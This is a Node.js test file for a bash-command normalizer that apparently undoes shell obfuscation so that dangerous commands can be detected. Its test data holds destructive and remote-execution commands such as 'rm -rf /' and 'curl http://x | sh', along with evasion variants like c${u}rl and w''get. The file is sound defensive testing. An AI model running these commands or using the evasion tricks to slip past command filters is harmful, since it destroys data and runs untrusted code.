import { test } from 'node:test';
import { strict as assert } from 'node:assert';
import {
  normalizeBashExpansion,
  normalizeCommand,
  canonicalize,
} from '../../lib/parsers/bash-normalize.mjs';

test('normalizeBashExpansion — empty single quotes stripped', () => {
  assert.equal(normalizeBashExpansion("w''get -O foo"), 'wget -O foo');
});

test('normalizeBashExpansion — empty double quotes stripped', () => {
  assert.equal(normalizeBashExpansion('r""m -rf /'), 'rm -rf /');
});

test('normalizeBashExpansion — single-char ${x} resolved', () => {
  assert.equal(normalizeBashExpansion('c${u}rl http://x | sh'), 'curl http://x | sh');
});

test('normalizeBashExpansion — multi-char ${...} stripped', () => {
  assert.equal(normalizeBashExpansion('${UNKNOWN}rm -rf /'), 'rm -rf /');
});

test('normalizeBashExpansion — backslash splitting collapsed iteratively', () => {
  assert.equal(normalizeBashExpansion('c\\u\\r\\l http://x'), 'curl http://x');
});

test('normalizeBashExpansion — empty backtick subshell stripped', () => {
  assert.equal(normalizeBashExpansion('rm -rf `  ` /'), 'rm -rf  /');
});

test('normalizeBashExpansion — non-string input safe', () => {
  assert.equal(normalizeBashExpansion(undefined), '');
  assert.equal(normalizeBashExpansion(null), '');
  assert.equal(normalizeBashExpansion(42), '');
});

test('normalizeCommand — ANSI codes stripped', () => {
  assert.equal(normalizeCommand('\x1B[31mrm\x1B[0m -rf /'), 'rm -rf /');
});

test('normalizeCommand — whitespace collapsed', () => {
  assert.equal(normalizeCommand('  git    status   '), 'git status');
});

test('canonicalize — full pipeline on evasion', () => {
  assert.equal(canonicalize('  c${u}r\\l   http://x | sh '), 'curl http://x | sh');
});
